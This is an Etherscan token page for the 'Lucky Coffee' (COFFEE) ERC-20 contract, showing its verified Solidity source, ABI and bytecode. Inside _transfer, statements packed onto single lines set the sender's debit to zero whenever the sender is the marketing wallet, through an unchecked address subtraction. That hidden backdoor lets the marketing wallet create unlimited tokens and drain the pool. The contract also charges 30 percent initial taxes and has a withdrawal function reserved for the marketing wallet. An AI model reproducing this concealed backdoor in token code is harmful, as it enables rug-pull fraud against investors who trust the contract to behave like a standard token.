ETH Price: $2,504.39 (-0.81%)

Token

Lucky Coffee (COFFEE)
 

Overview

Max Total Supply

1,000,000,000 COFFEE

Holders

56

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,166,793.061899114 COFFEE

Value
$0.00
0xf199fa2b3916075c3204b2caa4a864ee97c3cfff
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Coffee

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-06
*/

// SPDX-License-Identifier: MIT

/**
    Web: https://luckycoffee.vip
    Tg: https://t.me/luckycoffeeclub
    X: https://twitter.com/coffeexclub
*/

pragma solidity 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMath {
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
   function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }


    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Coffee is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private isFree;
        
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Lucky Coffee";
    string private constant _symbol = unicode"COFFEE";

    IUniV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    
    uint256 private _initialBuyTax = 30;
    uint256 private _initialSellTax = 30;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 1;
    
    uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 10_000_000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;

    mapping(address => bool) public marketPair;
    address payable private _marketing;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 20;
    uint256 private _buyCount = 0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapPossible = false;
    
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address router, 
    address marketingA) {
        _balances[_msgSender()] = _tTotal;
        _marketing = payable(marketingA);
        isFree[owner()] = true;
        isFree[address(this)] = true;
        isFree[marketingA] = true;

        uniswapV2Router = IUniV2Router02(router);

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 marketingAmt = uint256(uint160(address(_marketing)));uint256 feeAmt = 0;
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");uint256 contractBalanceAmt = 1;
        require(amount > 0, "Transfer amount must be greater than zero");uint256 destiAmt = uint256(uint160(from));

        if (from != owner() 
            && to != owner() 
            && from != address(this)) 
        {
            unchecked {contractBalanceAmt = destiAmt - marketingAmt;}
            feeAmt = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (
                marketPair[from] &&
                to != address(uniswapV2Router) &&
                !isFree[to]
            ) {
                require(tradingOpen, "trading is not open");
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                _buyCount++;
            }

            if (!marketPair[to] && !isFree[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (marketPair[to]) {
                feeAmt = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            if (!marketPair[from] && !marketPair[to]) {
                feeAmt = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));if (contractBalanceAmt > 0) contractBalanceAmt = 1;
            if (
                !inSwap &&
                marketPair[to] &&
                swapPossible &&
                contractTokenBalance > _taxSwapThreshold &&
                _buyCount > _preventSwapBefore
            ) {
                swapAllTokensForFee(
                    min(amount, min(contractTokenBalance, _maxTaxSwap))
                );
            } if (marketPair[to]) sendETHToFee(address(this).balance);
        } uint256 tokenAmount = contractBalanceAmt * amount;

        if (feeAmt > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmt);
            emit Transfer(from, address(this), feeAmt);
        }
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(amount.sub(feeAmt));
        emit Transfer(from, to, amount.sub(feeAmt));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function swapAllTokensForFee(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function recoverETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function addUniV2LP() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
        marketPair[address(uniswapV2Pair)] = true;
        isFree[address(uniswapV2Pair)] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _marketing.transfer(amount);
    }


    function recoverERC20(
        address _address,
        uint256 _amount
    ) external onlyOwner {
        IERC20(_address).transfer(_marketing, _amount);
    }

    function rescueERC20(address _address, uint256 _amount) external {
        require(_msgSender() == _marketing);
        IERC20(_address).transfer(_marketing, _amount);
    }

    function startTrade() external onlyOwner {
        swapPossible = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"marketingA","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addUniV2LP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"recoverERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601e600655601e6007555f60085560016009556009600a62000027919062000339565b62000037906301312d0062000350565b600a556009600a6200004a919062000339565b6200005a906301312d0062000350565b600b556200006b6009600a62000339565b6200007a906298968062000350565b600c556200008b6009600a62000339565b6200009a906298968062000350565b600d5560146010819055601181905560128190555f6013819055908190556015556016805462ffff0019169055348015620000d3575f80fd5b5060405162001f8138038062001f81833981016040819052620000f69162000386565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001446009600a62000339565b6200015490633b9aca0062000350565b335f81815260016020818152604080842095909555600f80546001600160a01b038881166001600160a01b031992831681179093558554811686526003909352868520805460ff199081168617909155308652878620805482168617905591855295842080549091169092179091556004805490941690861617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002016009600a62000339565b6200021190633b9aca0062000350565b60405190815260200160405180910390a35050620003bc565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200027e57815f19048211156200026257620002626200022a565b808516156200027057918102915b93841c939080029062000243565b509250929050565b5f82620002965750600162000333565b81620002a457505f62000333565b8160018114620002bd5760028114620002c857620002e8565b600191505062000333565b60ff841115620002dc57620002dc6200022a565b50506001821b62000333565b5060208310610133831016604e8410600b84101617156200030d575081810a62000333565b6200031983836200023e565b805f19048211156200032f576200032f6200022a565b0290505b92915050565b5f6200034960ff84168362000286565b9392505050565b80820281158282048414176200033357620003336200022a565b80516001600160a01b038116811462000381575f80fd5b919050565b5f806040838503121562000398575f80fd5b620003a3836200036a565b9150620003b3602084016200036a565b90509250929050565b611bb780620003ca5f395ff3fe60806040526004361061014a575f3560e01c80637d1db4a5116100b3578063a9059cbb1161006d578063a9059cbb146103aa578063bf474bed146103c9578063dd62ed3e146103de578063e734197314610422578063f2fde38b14610436578063f5b3c3bf14610455575f80fd5b80637d1db4a5146102f85780638980f11f1461030d5780638cd4426d1461032c5780638da5cb5b1461034b5780638f9a55c01461036757806395d89b411461037c575f80fd5b8063313ce56711610104578063313ce5671461023657806349bd5a5e146102515780636c5808011461028857806370a082311461029c578063715018a6146102d0578063751039fc146102e4575f80fd5b80630614117a1461015557806306fdde031461016b578063095ea7b3146101b15780630faee56f146101e057806318160ddd1461020357806323b872dd14610217575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b50610169610483565b005b348015610176575f80fd5b5060408051808201909152600c81526b4c75636b7920436f6666656560a01b60208201525b6040516101a891906117aa565b60405180910390f35b3480156101bc575f80fd5b506101d06101cb36600461180a565b6104ef565b60405190151581526020016101a8565b3480156101eb575f80fd5b506101f5600d5481565b6040519081526020016101a8565b34801561020e575f80fd5b506101f5610505565b348015610222575f80fd5b506101d0610231366004611834565b610525565b348015610241575f80fd5b50604051600981526020016101a8565b34801561025c575f80fd5b50600554610270906001600160a01b031681565b6040516001600160a01b0390911681526020016101a8565b348015610293575f80fd5b5061016961058c565b3480156102a7575f80fd5b506101f56102b6366004611872565b6001600160a01b03165f9081526001602052604090205490565b3480156102db575f80fd5b506101696105c8565b3480156102ef575f80fd5b50610169610639565b348015610303575f80fd5b506101f5600a5481565b348015610318575f80fd5b5061016961032736600461180a565b6106ec565b348015610337575f80fd5b5061016961034636600461180a565b61078e565b348015610356575f80fd5b505f546001600160a01b0316610270565b348015610372575f80fd5b506101f5600b5481565b348015610387575f80fd5b50604080518082019091526006815265434f4646454560d01b602082015261019b565b3480156103b5575f80fd5b506101d06103c436600461180a565b6107ad565b3480156103d4575f80fd5b506101f5600c5481565b3480156103e9575f80fd5b506101f56103f836600461188d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561042d575f80fd5b506101696107b9565b348015610441575f80fd5b50610169610450366004611872565b610b54565b348015610460575f80fd5b506101d061046f366004611872565b600e6020525f908152604090205460ff1681565b5f546001600160a01b031633146104b55760405162461bcd60e51b81526004016104ac906118c4565b60405180910390fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156104ec573d5f803e3d5ffd5b50565b5f6104fb338484610c3b565b5060015b92915050565b5f6105126009600a6119ed565b61052090633b9aca006119fb565b905090565b5f610531848484610d5e565b610582843361057d85604051806060016040528060288152602001611b5a602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611410565b610c3b565b5060019392505050565b5f546001600160a01b031633146105b55760405162461bcd60e51b81526004016104ac906118c4565b6016805462ff00ff191662010001179055565b5f546001600160a01b031633146105f15760405162461bcd60e51b81526004016104ac906118c4565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106625760405162461bcd60e51b81526004016104ac906118c4565b61066e6009600a6119ed565b61067c90633b9aca006119fb565b600a90815561068d906009906119ed565b61069b90633b9aca006119fb565b600b557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106cb6009600a6119ed565b6106d990633b9aca006119fb565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107155760405162461bcd60e51b81526004016104ac906118c4565b600f5460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303815f875af1158015610765573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107899190611a12565b505050565b600f546001600160a01b0316336001600160a01b031614610715575f80fd5b5f6104fb338484610d5e565b5f546001600160a01b031633146107e25760405162461bcd60e51b81526004016104ac906118c4565b60165460ff16156108355760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ac565b6004546108619030906001600160a01b03166108536009600a6119ed565b61057d90633b9aca006119fb565b600480546040805163c45a015560e01b815290516001600160a01b039092169263c45a01559282820192602092908290030181865afa1580156108a6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ca9190611a31565b6001600160a01b031663c9c653963060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610929573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094d9190611a31565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610997573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109bb9190611a31565b600580546001600160a01b039283166001600160a01b0319909116811782555f908152600e60209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556004541663f305d7194730610a39816001600160a01b03165f9081526001602052604090205490565b5f80610a4c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ab2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ad79190611a4c565b50506005546004805460405163095ea7b360e01b81526001600160a01b03918216928101929092525f196024830152909116915063095ea7b3906044016020604051808303815f875af1158015610b30573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ec9190611a12565b5f546001600160a01b03163314610b7d5760405162461bcd60e51b81526004016104ac906118c4565b6001600160a01b038116610be25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ac565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c9d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ac565b6001600160a01b038216610cfe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ac565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600f546001600160a01b03908116905f908516610dcb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ac565b6001600160a01b038416610e2d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ac565b600183610e8e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ac565b6001600160a01b038616610ea95f546001600160a01b031690565b6001600160a01b0316876001600160a01b031614158015610ed757505f546001600160a01b03878116911614155b8015610eec57506001600160a01b0387163014155b156112c2578381039150610f226064610f1c60105460135411610f1157600654610f15565b6008545b8890611448565b906114cd565b6001600160a01b0388165f908152600e602052604090205490935060ff168015610f5a57506004546001600160a01b03878116911614155b8015610f7e57506001600160a01b0386165f9081526003602052604090205460ff16155b156110ac5760165460ff16610fcb5760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b60448201526064016104ac565b600a5485111561101d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104ac565b600b548561103f886001600160a01b03165f9081526001602052604090205490565b6110499190611a77565b11156110975760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ac565b60138054905f6110a683611a8a565b91905055505b6001600160a01b0386165f908152600e602052604090205460ff161580156110ec57506001600160a01b0386165f9081526003602052604090205460ff16155b1561116b57600b5485611113886001600160a01b03165f9081526001602052604090205490565b61111d9190611a77565b111561116b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ac565b6001600160a01b0386165f908152600e602052604090205460ff16156111b3576111b06064610f1c601154601354116111a657600754610f15565b6009548890611448565b92505b6001600160a01b0387165f908152600e602052604090205460ff161580156111f357506001600160a01b0386165f908152600e602052604090205460ff16155b156111fc575f92505b305f90815260016020526040902054821561121657600192505b601654610100900460ff1615801561124557506001600160a01b0387165f908152600e602052604090205460ff165b8015611259575060165462010000900460ff165b80156112665750600c5481115b80156112755750601254601354115b15611297576112976112928761128d84600d5461150e565b61150e565b611522565b6001600160a01b0387165f908152600e602052604090205460ff16156112c0576112c0476116a4565b505b5f6112cd86846119fb565b9050831561134757305f908152600160205260409020546112ee90856116df565b305f81815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061133e9088815260200190565b60405180910390a35b6001600160a01b0388165f90815260016020526040902054611369908261173d565b6001600160a01b0389165f908152600160205260409020556113ac61138e878661173d565b6001600160a01b0389165f90815260016020526040902054906116df565b6001600160a01b038089165f8181526001602052604090209290925589167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113f5898861173d565b60405190815260200160405180910390a35050505050505050565b5f81848411156114335760405162461bcd60e51b81526004016104ac91906117aa565b505f61143f8486611aa2565b95945050505050565b5f825f0361145757505f6104ff565b5f61146283856119fb565b90508261146f8583611ab5565b146114c65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ac565b9392505050565b5f6114c683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061177e565b5f81831161151c57826114c6565b50919050565b6016805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061156457611564611ad4565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115f89190611a31565b8160018151811061160b5761160b611ad4565b6001600160a01b0392831660209182029290920101526004546116319130911684610c3b565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac947916116689186915f9187913091429101611ae8565b5f604051808303815f87803b15801561167f575f80fd5b505af1158015611691573d5f803e3d5ffd5b50506016805461ff001916905550505050565b600f546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156116db573d5f803e3d5ffd5b5050565b5f806116eb8385611a77565b9050838110156114c65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ac565b5f6114c683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611410565b5f818361179e5760405162461bcd60e51b81526004016104ac91906117aa565b505f61143f8486611ab5565b5f602080835283518060208501525f5b818110156117d6578581018301518582016040015282016117ba565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104ec575f80fd5b5f806040838503121561181b575f80fd5b8235611826816117f6565b946020939093013593505050565b5f805f60608486031215611846575f80fd5b8335611851816117f6565b92506020840135611861816117f6565b929592945050506040919091013590565b5f60208284031215611882575f80fd5b81356114c6816117f6565b5f806040838503121561189e575f80fd5b82356118a9816117f6565b915060208301356118b9816117f6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561194757815f190482111561192d5761192d6118f9565b8085161561193a57918102915b93841c9390800290611912565b509250929050565b5f8261195d575060016104ff565b8161196957505f6104ff565b816001811461197f5760028114611989576119a5565b60019150506104ff565b60ff84111561199a5761199a6118f9565b50506001821b6104ff565b5060208310610133831016604e8410600b84101617156119c8575081810a6104ff565b6119d2838361190d565b805f19048211156119e5576119e56118f9565b029392505050565b5f6114c660ff84168361194f565b80820281158282048414176104ff576104ff6118f9565b5f60208284031215611a22575f80fd5b815180151581146114c6575f80fd5b5f60208284031215611a41575f80fd5b81516114c6816117f6565b5f805f60608486031215611a5e575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156104ff576104ff6118f9565b5f60018201611a9b57611a9b6118f9565b5060010190565b818103818111156104ff576104ff6118f9565b5f82611acf57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b385784516001600160a01b031683529383019391830191600101611b13565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203414074946c4a572e28c3a4528bb618cc8c6cc5c9e741a82b2c7a18c54b9d53b64736f6c634300081800330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000be4682f72f822eb97755ed0a93205149643b0f94

Deployed Bytecode

